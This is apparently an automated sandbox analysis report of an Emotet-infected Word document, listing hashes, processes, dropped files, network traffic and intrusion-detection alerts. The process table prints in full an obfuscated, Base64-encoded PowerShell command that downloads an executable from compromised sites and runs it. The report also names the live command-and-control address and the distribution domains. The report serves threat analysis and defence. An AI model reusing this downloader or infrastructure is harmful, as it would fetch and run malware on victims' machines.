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| download: | wca4mmot |
| Full analysis: | https://app.any.run/tasks/ded900f3-cfe6-4302-95cf-b543bea40990 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 06, 2019, 20:40:46 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Iste qui optio., Author: Yara Montag, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 6 19:34:00 2019, Last Saved Time/Date: Fri Dec 6 19:34:00 2019, Number of Pages: 1, Number of Words: 57, Number of Characters: 331, Security: 0 |
| MD5: | 660052DC05F8C46DAFAA899321C771F4 |
| SHA1: | D14F32CCCF0B5F0AB2953564E5B628824ADA8ED3 |
| SHA256: | 6E803EAF04B05FD0001291AFC6F13D0829208EA8F9A93E089E97637E50AF5DA3 |
| SSDEEP: | 3072:LAqfqJPGuS2hPJ2y/GdyuktGDWLS0HZWD5w8K7NkEyD7IBUSLkRoBdB+zxf:LAqfqJPGuS2hR2k4MtGiL3HJkEyD7bSq |
MALICIOUS
Application was dropped or rewritten from another process
- 414.exe (PID: 2348)
- 414.exe (PID: 2952)
- serialfunc.exe (PID: 3412)
- serialfunc.exe (PID: 1888)
Downloads executable files from the Internet
- powershell.exe (PID: 3804)
Emotet process was detected
- 414.exe (PID: 2348)
Connects to CnC server
- serialfunc.exe (PID: 1888)
EMOTET was detected
- serialfunc.exe (PID: 1888)
SUSPICIOUS
Executable content was dropped or overwritten
- powershell.exe (PID: 3804)
- 414.exe (PID: 2348)
Creates files in the user directory
- powershell.exe (PID: 3804)
PowerShell script executed
- powershell.exe (PID: 3804)
Executed via WMI
- powershell.exe (PID: 3804)
Application launched itself
- 414.exe (PID: 2952)
Starts itself from another location
- 414.exe (PID: 2348)
Connects to server without host name
- serialfunc.exe (PID: 1888)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2092)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2092)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Iste qui optio. |
|---|---|
| Subject: | - |
| Author: | Yara Montag |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:12:06 19:34:00 |
| ModifyDate: | 2019:12:06 19:34:00 |
| Pages: | 1 |
| Words: | 57 |
| Characters: | 331 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 2 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 387 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2092 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\wca4mmot.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3804 | powershell -w hidden -en JABLAGEAdgB3AGwAcgB6AGgAPQAnAEUAZgBtAHIAZAB3AG4AdQBkAHUAJwA7ACQARwBqAGUAdwB1AGQAbwBoAHAAYwBsAGYAIAA9ACAAJwA0ADEANAAnADsAJABCAGoAegBtAG0AYQBlAGUAZwB0AHUAagB6AD0AJwBOAG8AcwB6AG0AcwByAG8AcQAnADsAJABQAG0AcAB3AHQAegBvAGIAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARwBqAGUAdwB1AGQAbwBoAHAAYwBsAGYAKwAnAC4AZQB4AGUAJwA7ACQAVABvAHEAYwBiAHEAZgBlAD0AJwBNAGUAbgBoAHMAaQB4AG0AcgBoAGUAJwA7ACQAUQBtAHoAawBiAHMAZgBvAGoAcwB4AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBiAGMATABJAEUATgB0ADsAJABBAHAAcwB0AHgAZABjAHIAdgBqAGsAZAA9ACcAaAB0AHQAcAA6AC8ALwBiAG8AbwB0AHkAYwBhAG0AcABjAGEAcgBkAGkAZgBmAC4AYwBvAG0ALwB4AGQAdwAyAGYALwBtAGsALwAqAGgAdAB0AHAAOgAvAC8AdABvAG0AbwBtAG8AZwBvAGgAYQBuAC4AYwBvAG0ALwBsAGMAdwB1AHkALwBwAGkANgBlAC8AKgBoAHQAdABwADoALwAvAHMAYQBsAGwAeQBhAGMAdQByAHQAaQBzAC4AYgBpAHoALwB3AHAALQBhAGQAbQBpAG4ALwByAG0ALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGgAZQBjAGgAaQByAG8ALgB6AGEALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvAGgAdQB1AC8AKgBoAHQAdABwADoALwAvAGMAYQBsAGcAYQByAHkAbQBhAGcAaQBjAHMAaABvAHAALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AbgAyADMALwAnAC4AIgBzAGAAcABMAEkAdAAiACgAJwAqACcAKQA7ACQASABwAGMAbAByAGQAagB1AGkAPQAnAEcAcABuAGUAcgBkAGQAdQB6ACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAGkAbQByAG4AYQB4AGQAZABiAHQAIABpAG4AIAAkAEEAcABzAHQAeABkAGMAcgB2AGoAawBkACkAewB0AHIAeQB7ACQAUQBtAHoAawBiAHMAZgBvAGoAcwB4AC4AIgBkAGAAbwBXAG4ATABgAE8AQQBkAEYAYABJAEwARQAiACgAJABVAGkAbQByAG4AYQB4AGQAZABiAHQALAAgACQAUABtAHAAdwB0AHoAbwBiAHoAKQA7ACQASgBlAHMAdQBqAHQAYwB6AD0AJwBQAGcAagBuAHoAZgBvAGEAawBzAGQAcABmACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUABtAHAAdwB0AHoAbwBiAHoAKQAuACIAbABgAEUATgBnAHQASAAiACAALQBnAGUAIAAyADAAMAA5ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAEEAYABSAHQAIgAoACQAUABtAHAAdwB0AHoAbwBiAHoAKQA7ACQAVAB1AG8AZQBqAGUAcQBmAGYAeABzAHgAPQAnAFMAagB6AGkAcgBpAGQAcQByAHkAcAAnADsAYgByAGUAYQBrADsAJABaAHgAdQB6AHMAcgBvAGEAaABsAGwAPQAnAFEAZABoAGMAbgByAGcAdgBhAHQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgB0AHIAYwBkAHAAcABvAHEAcgBoAGwAeAA9ACcARgBwAGwAeQBuAHMAZgBzAGEAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2952 | "C:\Users\admin\414.exe" | C:\Users\admin\414.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
| 2348 | --27f386f5 | C:\Users\admin\414.exe | 414.exe | |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
| 3412 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 414.exe |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
| 1888 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | |
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Version: 1, 0, 0, 1 | ||||
Total events
2 250
Read events
1 427
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRB5FC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3D48A73.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\662FD9D8.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\87521FF9.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B739D5A6.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3645FD6F.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\645F18A4.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\64A99855.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8F9B9A52.wmf | — | |
MD5:— | SHA256:— | |||
| 2092 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5C65822B.wmf | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1888 | serialfunc.exe | POST | — | 107.2.2.28:80 | http://107.2.2.28/mmAAhBs16tZW2B0 | US | — | — | malicious |
3804 | powershell.exe | GET | 200 | 50.87.253.53:80 | http://bootycampcardiff.com/xdw2f/mk/ | US | executable | 492 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1888 | serialfunc.exe | 107.2.2.28:80 | — | Comcast Cable Communications, LLC | US | malicious |
3804 | powershell.exe | 50.87.253.53:80 | bootycampcardiff.com | Unified Layer | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
bootycampcardiff.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3804 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3804 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3804 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1888 | serialfunc.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 2 |
1888 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
1888 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
1888 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |